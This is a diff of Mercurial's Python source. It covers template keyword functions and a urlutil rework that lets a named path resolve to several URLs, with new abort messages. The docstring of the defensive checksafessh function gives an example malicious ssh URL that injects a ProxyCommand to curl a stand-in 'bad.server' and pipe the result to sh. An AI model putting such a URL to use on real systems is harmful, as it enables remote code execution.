853 858 parent, as a 40 digit hexadecimal string. If the changeset has no second
854 859 parent, all digits are 0. (DEPRECATED)"""
855 860 ctx = context.resource(mapping, b'ctx')
856 861 return ctx.p2().hex()
857 862
858 863
859 864 @templatekeyword(b'parents', requires={b'repo', b'ctx'})
860 865 def showparents(context, mapping):
861 866 """List of strings. The parents of the changeset in "rev:node"
862 867 format. If the changeset has only one "natural" parent (the predecessor
863 868 revision) nothing is shown."""
864 869 repo = context.resource(mapping, b'repo')
865 870 ctx = context.resource(mapping, b'ctx')
866 871 pctxs = scmutil.meaningfulparents(repo, ctx)
867 872 prevs = [p.rev() for p in pctxs]
868 873 parents = [
869 874 [(b'rev', p.rev()), (b'node', p.hex()), (b'phase', p.phasestr())]
870 875 for p in pctxs
871 876 ]
872 877 f = _showcompatlist(context, mapping, b'parent', parents)
873 878 return _hybrid(
874 879 f,
875 880 prevs,
876 881 lambda x: {b'ctx': repo[x]},
877 882 lambda x: scmutil.formatchangeid(repo[x]),
878 883 keytype=int,
879 884 )
880 885
881 886
882 887 @templatekeyword(b'phase', requires={b'ctx'})
883 888 def showphase(context, mapping):
884 889 """String. The changeset phase name."""
885 890 ctx = context.resource(mapping, b'ctx')
886 891 return ctx.phasestr()
887 892
888 893
889 894 @templatekeyword(b'phaseidx', requires={b'ctx'})
890 895 def showphaseidx(context, mapping):
891 896 """Integer. The changeset phase index. (ADVANCED)"""
892 897 ctx = context.resource(mapping, b'ctx')
893 898 return ctx.phase()
894 899
895 900
896 901 @templatekeyword(b'rev', requires={b'ctx'})
897 902 def showrev(context, mapping):
898 903 """Integer. The repository-local changeset revision number."""
899 904 ctx = context.resource(mapping, b'ctx')
900 905 return scmutil.intrev(ctx)
901 906
902 907
903 908 @templatekeyword(b'subrepos', requires={b'ctx'})
904 909 def showsubrepos(context, mapping):
905 910 """List of strings. Updated subrepositories in the changeset."""
906 911 ctx = context.resource(mapping, b'ctx')
907 912 substate = ctx.substate
908 913 if not substate:
909 914 return compatlist(context, mapping, b'subrepo', [])
910 915 psubstate = ctx.p1().substate or {}
911 916 subrepos = []
912 917 for sub in substate:
913 918 if sub not in psubstate or substate[sub] != psubstate[sub]:
914 919 subrepos.append(sub) # modified or newly added in ctx
915 920 for sub in psubstate:
916 921 if sub not in substate:
917 922 subrepos.append(sub) # removed in ctx
918 923 return compatlist(context, mapping, b'subrepo', sorted(subrepos))
919 924
920 925
921 926 # don't remove "showtags" definition, even though namespaces will put
922 927 # a helper function for "tags" keyword into "keywords" map automatically,
923 928 # because online help text is built without namespaces initialization
924 929 @templatekeyword(b'tags', requires={b'repo', b'ctx'})
925 930 def showtags(context, mapping):
926 931 """List of strings. Any tags associated with the changeset."""
927 932 return shownames(context, mapping, b'tags')
928 933
929 934
930 935 @templatekeyword(b'termwidth', requires={b'ui'})
931 936 def showtermwidth(context, mapping):
932 937 """Integer. The width of the current terminal."""
933 938 ui = context.resource(mapping, b'ui')
934 939 return ui.termwidth()
935 940
936 941
937 942 @templatekeyword(b'user', requires={b'ctx'})
938 943 def showuser(context, mapping):
939 944 """String. The unmodified author of the changeset."""
940 945 ctx = context.resource(mapping, b'ctx')
941 946 return ctx.user()
942 947
943 948
944 949 @templatekeyword(b'instabilities', requires={b'ctx'})
945 950 def showinstabilities(context, mapping):
946 951 """List of strings. Evolution instabilities affecting the changeset.
947 952 (EXPERIMENTAL)
948 953 """
949 954 ctx = context.resource(mapping, b'ctx')
950 955 return compatlist(
951 956 context,
952 957 mapping,
953 958 b'instability',
954 959 ctx.instabilities(),
955 960 plural=b'instabilities',
956 961 )
957 962
958 963
959 964 @templatekeyword(b'verbosity', requires={b'ui'})
960 965 def showverbosity(context, mapping):
961 966 """String. The current output verbosity in 'debug', 'quiet', 'verbose',
962 967 or ''."""
963 968 ui = context.resource(mapping, b'ui')
964 969 # see logcmdutil.changesettemplater for priority of these flags
965 970 if ui.debugflag:
966 971 return b'debug'
967 972 elif ui.quiet:
968 973 return b'quiet'
969 974 elif ui.verbose:
970 975 return b'verbose'
971 976 return b''
972 977
973 978
974 979 @templatekeyword(b'whyunstable', requires={b'repo', b'ctx'})
975 980 def showwhyunstable(context, mapping):
976 981 """List of dicts explaining all instabilities of a changeset.
977 982 (EXPERIMENTAL)
978 983 """
979 984 repo = context.resource(mapping, b'repo')
980 985 ctx = context.resource(mapping, b'ctx')
981 986
982 987 def formatnode(ctx):
983 988 return b'%s (%s)' % (scmutil.formatchangeid(ctx), ctx.phasestr())
984 989
985 990 entries = obsutil.whyunstable(repo, ctx)
986 991
987 992 for entry in entries:
988 993 if entry.get(b'divergentnodes'):
989 994 dnodes = entry[b'divergentnodes']
990 995 dnhybrid = _hybrid(
991 996 None,
992 997 [dnode.hex() for dnode in dnodes],
993 998 lambda x: {b'ctx': repo[x]},
994 999 lambda x: formatnode(repo[x]),
995 1000 )
996 1001 entry[b'divergentnodes'] = dnhybrid
997 1002
998 1003 tmpl = (
999 1004 b'{instability}:{if(divergentnodes, " ")}{divergentnodes} '
1000 1005 b'{reason} {node|short}'
1001 1006 )
1002 1007 return templateutil.mappinglist(entries, tmpl=tmpl, sep=b'\n')
1003 1008
1004 1009
1005 1010 def loadkeyword(ui, extname, registrarobj):
1006 1011 """Load template keyword from specified registrarobj"""
1007 1012 for name, func in pycompat.iteritems(registrarobj._table):
1008 1013 keywords[name] = func
1009 1014
1010 1015
1011 1016 # tell hggettext to extract docstrings from these functions:
1012 1017 i18nfunctions = keywords.values()
@@ -1,843 +1,886 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 448 def list_paths(ui, target_path=None):
449 449 """list all the (name, paths) in the passed ui"""
450 result = []
450 451 if target_path is None:
451 return sorted(pycompat.iteritems(ui.paths))
452 for name, paths in sorted(pycompat.iteritems(ui.paths)):
453 for p in paths:
454 result.append((name, p))
455
452 456 else:
453 path = ui.paths.get(target_path)
454 if path is None:
455 return []
456 else:
457 return [(target_path, path)]
457 for path in ui.paths.get(target_path, []):
458 result.append((target_path, path))
459 return result
458 460
459 461
460 462 def try_path(ui, url):
461 463 """try to build a path from a url
462 464
463 465 Return None if no Path could built.
464 466 """
465 467 try:
466 468 # we pass the ui instance are warning might need to be issued
467 469 return path(ui, None, rawloc=url)
468 470 except ValueError:
469 471 return None
470 472
471 473
472 474 def get_push_paths(repo, ui, dests):
473 475 """yields all the `path` selected as push destination by `dests`"""
474 476 if not dests:
475 477 if b'default-push' in ui.paths:
476 yield ui.paths[b'default-push']
478 for p in ui.paths[b'default-push']:
479 yield p
477 480 elif b'default' in ui.paths:
478 yield ui.paths[b'default']
481 for p in ui.paths[b'default']:
482 yield p
479 483 else:
480 484 raise error.ConfigError(
481 485 _(b'default repository not configured!'),
482 486 hint=_(b"see 'hg help config.paths'"),
483 487 )
484 488 else:
485 489 for dest in dests:
486 490 if dest in ui.paths:
487 yield ui.paths[dest]
491 for p in ui.paths[dest]:
492 yield p
488 493 else:
489 494 path = try_path(ui, dest)
490 495 if path is None:
491 496 msg = _(b'repository %s does not exist')
492 497 msg %= dest
493 498 raise error.RepoError(msg)
494 499 yield path
495 500
496 501
497 502 def get_pull_paths(repo, ui, sources, default_branches=()):
498 503 """yields all the `(path, branch)` selected as pull source by `sources`"""
499 504 if not sources:
500 505 sources = [b'default']
501 506 for source in sources:
502 507 if source in ui.paths:
503 url = ui.paths[source].rawloc
508 for p in ui.paths[source]:
509 yield parseurl(p.rawloc, default_branches)
504 510 else:
505 511 # Try to resolve as a local path or URI.
506 512 path = try_path(ui, source)
507 513 if path is not None:
508 514 url = path.rawloc
509 515 else:
510 516 url = source
511 yield parseurl(url, default_branches)
517 yield parseurl(url, default_branches)
512 518
513 519
514 520 def get_unique_push_path(action, repo, ui, dest=None):
515 521 """return a unique `path` or abort if multiple are found
516 522
517 523 This is useful for command and action that does not support multiple
518 524 destination (yet).
519 525
520 526 Note that for now, we cannot get multiple destination so this function is "trivial".
521 527
522 528 The `action` parameter will be used for the error message.
523 529 """
524 530 if dest is None:
525 531 dests = []
526 532 else:
527 533 dests = [dest]
528 534 dests = list(get_push_paths(repo, ui, dests))
529 assert len(dests) == 1
535 if len(dests) != 1:
536 if dest is None:
537 msg = _("default path points to %d urls while %s only supports one")
538 msg %= (len(dests), action)
539 else:
540 msg = _("path points to %d urls while %s only supports one: %s")
541 msg %= (len(dests), action, dest)
542 raise error.Abort(msg)
530 543 return dests[0]
531 544
532 545
533 546 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
534 547 """return a unique `(path, branch)` or abort if multiple are found
535 548
536 549 This is useful for command and action that does not support multiple
537 550 destination (yet).
538 551
539 552 Note that for now, we cannot get multiple destination so this function is "trivial".
540 553
541 554 The `action` parameter will be used for the error message.
542 555 """
556 urls = []
543 557 if source is None:
544 558 if b'default' in ui.paths:
545 url = ui.paths[b'default'].rawloc
559 urls.extend(p.rawloc for p in ui.paths[b'default'])
546 560 else:
547 561 # XXX this is the historical default behavior, but that is not
548 562 # great, consider breaking BC on this.
549 url = b'default'
563 urls.append(b'default')
550 564 else:
551 565 if source in ui.paths:
552 url = ui.paths[source].rawloc
566 urls.extend(p.rawloc for p in ui.paths[source])
553 567 else:
554 568 # Try to resolve as a local path or URI.
555 569 path = try_path(ui, source)
556 570 if path is not None:
557 url = path.rawloc
571 urls.append(path.rawloc)
558 572 else:
559 url = source
560 return parseurl(url, default_branches)
573 urls.append(source)
574 if len(urls) != 1:
575 if source is None:
576 msg = _("default path points to %d urls while %s only supports one")
577 msg %= (len(urls), action)
578 else:
579 msg = _("path points to %d urls while %s only supports one: %s")
580 msg %= (len(urls), action, source)
581 raise error.Abort(msg)
582 return parseurl(urls[0], default_branches)
561 583
562 584
563 585 def get_clone_path(ui, source, default_branches=()):
564 586 """return the `(origsource, path, branch)` selected as clone source"""
587 urls = []
565 588 if source is None:
566 589 if b'default' in ui.paths:
567 url = ui.paths[b'default'].rawloc
590 urls.extend(p.rawloc for p in ui.paths[b'default'])
568 591 else:
569 592 # XXX this is the historical default behavior, but that is not
570 593 # great, consider breaking BC on this.
571 url = b'default'
594 urls.append(b'default')
572 595 else:
573 596 if source in ui.paths:
574 url = ui.paths[source].rawloc
597 urls.extend(p.rawloc for p in ui.paths[source])
575 598 else:
576 599 # Try to resolve as a local path or URI.
577 600 path = try_path(ui, source)
578 601 if path is not None:
579 url = path.rawloc
602 urls.append(path.rawloc)
580 603 else:
581 url = source
604 urls.append(source)
605 if len(urls) != 1:
606 if source is None:
607 msg = _(
608 "default path points to %d urls while only one is supported"
609 )
610 msg %= len(urls)
611 else:
612 msg = _("path points to %d urls while only one is supported: %s")
613 msg %= (len(urls), source)
614 raise error.Abort(msg)
615 url = urls[0]
582 616 clone_path, branch = parseurl(url, default_branches)
583 617 return url, clone_path, branch
584 618
585 619
586 620 def parseurl(path, branches=None):
587 621 '''parse url#branch, returning (url, (branch, branches))'''
588 622 u = url(path)
589 623 branch = None
590 624 if u.fragment:
591 625 branch = u.fragment
592 626 u.fragment = None
593 627 return bytes(u), (branch, branches or [])
594 628
595 629
596 630 class paths(dict):
597 631 """Represents a collection of paths and their configs.
598 632
599 633 Data is initially derived from ui instances and the config files they have
600 634 loaded.
601 635 """
602 636
603 637 def __init__(self, ui):
604 638 dict.__init__(self)
605 639
606 640 for name, loc in ui.configitems(b'paths', ignoresub=True):
607 641 # No location is the same as not existing.
608 642 if not loc:
609 643 continue
610 644 loc, sub_opts = ui.configsuboptions(b'paths', name)
611 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
645 self[name] = [path(ui, name, rawloc=loc, suboptions=sub_opts)]
612 646
613 for name, p in sorted(self.items()):
614 self[name] = _chain_path(p, ui, self)
647 for name, old_paths in sorted(self.items()):
648 new_paths = []
649 for p in old_paths:
650 new_paths.extend(_chain_path(p, ui, self))
651 self[name] = new_paths
615 652
616 653 def getpath(self, ui, name, default=None):
617 654 """Return a ``path`` from a string, falling back to default.
618 655
619 656 ``name`` can be a named path or locations. Locations are filesystem
620 657 paths or URIs.
621 658
622 659 Returns None if ``name`` is not a registered path, a URI, or a local
623 660 path to a repo.
624 661 """
625 662 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
626 663 self.deprecwarn(msg, '6.0')
627 664 # Only fall back to default if no path was requested.
628 665 if name is None:
629 666 if not default:
630 667 default = ()
631 668 elif not isinstance(default, (tuple, list)):
632 669 default = (default,)
633 670 for k in default:
634 671 try:
635 return self[k]
672 return self[k][0]
636 673 except KeyError:
637 674 continue
638 675 return None
639 676
640 677 # Most likely empty string.
641 678 # This may need to raise in the future.
642 679 if not name:
643 680 return None
644 681 if name in self:
645 return self[name]
682 return self[name][0]
646 683 else:
647 684 # Try to resolve as a local path or URI.
648 685 path = try_path(ui, name)
649 686 if path is None:
650 687 raise error.RepoError(_(b'repository %s does not exist') % name)
651 688 return path.rawloc
652 689
653 690
654 691 _pathsuboptions = {}
655 692
656 693
657 694 def pathsuboption(option, attr):
658 695 """Decorator used to declare a path sub-option.
659 696
660 697 Arguments are the sub-option name and the attribute it should set on
661 698 ``path`` instances.
662 699
663 700 The decorated function will receive as arguments a ``ui`` instance,
664 701 ``path`` instance, and the string value of this option from the config.
665 702 The function should return the value that will be set on the ``path``
666 703 instance.
667 704
668 705 This decorator can be used to perform additional verification of
669 706 sub-options and to change the type of sub-options.
670 707 """
671 708
672 709 def register(func):
673 710 _pathsuboptions[option] = (attr, func)
674 711 return func
675 712
676 713 return register
677 714
678 715
679 716 @pathsuboption(b'pushurl', b'pushloc')
680 717 def pushurlpathoption(ui, path, value):
681 718 u = url(value)
682 719 # Actually require a URL.
683 720 if not u.scheme:
684 721 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
685 722 return None
686 723
687 724 # Don't support the #foo syntax in the push URL to declare branch to
688 725 # push.
689 726 if u.fragment:
690 727 ui.warn(
691 728 _(
692 729 b'("#fragment" in paths.%s:pushurl not supported; '
693 730 b'ignoring)\n'
694 731 )
695 732 % path.name
696 733 )
697 734 u.fragment = None
698 735
699 736 return bytes(u)
700 737
701 738
702 739 @pathsuboption(b'pushrev', b'pushrev')
703 740 def pushrevpathoption(ui, path, value):
704 741 return value
705 742
706 743
707 def _chain_path(path, ui, paths):
744 def _chain_path(base_path, ui, paths):
708 745 """return the result of "path://" logic applied on a given path"""
709 if path.url.scheme == b'path':
710 assert path.url.path is None
711 subpath = paths.get(path.url.host)
712 if subpath is None:
746 new_paths = []
747 if base_path.url.scheme != b'path':
748 new_paths.append(base_path)
749 else:
750 assert base_path.url.path is None
751 sub_paths = paths.get(base_path.url.host)
752 if sub_paths is None:
713 753 m = _(b'cannot use `%s`, "%s" is not a known path')
714 m %= (path.rawloc, path.url.host)
715 raise error.Abort(m)
716 if subpath.raw_url.scheme == b'path':
717 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
718 m %= (path.rawloc, path.url.host)
754 m %= (base_path.rawloc, base_path.url.host)
719 755 raise error.Abort(m)
720 path.url = subpath.url
721 path.rawloc = subpath.rawloc
722 path.loc = subpath.loc
723 if path.branch is None:
724 path.branch = subpath.branch
725 else:
726 base = path.rawloc.rsplit(b'#', 1)[0]
727 path.rawloc = b'%s#%s' % (base, path.branch)
728 suboptions = subpath._all_sub_opts.copy()
729 suboptions.update(path._own_sub_opts)
730 path._apply_suboptions(ui, suboptions)
731 return path
756 for subpath in sub_paths:
757 path = base_path.copy()
758 if subpath.raw_url.scheme == b'path':
759 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
760 m %= (path.rawloc, path.url.host)
761 raise error.Abort(m)
762 path.url = subpath.url
763 path.rawloc = subpath.rawloc
764 path.loc = subpath.loc
765 if path.branch is None:
766 path.branch = subpath.branch
767 else:
768 base = path.rawloc.rsplit(b'#', 1)[0]
769 path.rawloc = b'%s#%s' % (base, path.branch)
770 suboptions = subpath._all_sub_opts.copy()
771 suboptions.update(path._own_sub_opts)
772 path._apply_suboptions(ui, suboptions)
773 new_paths.append(path)
774 return new_paths
732 775
733 776
734 777 class path(object):
735 778 """Represents an individual path and its configuration."""
736 779
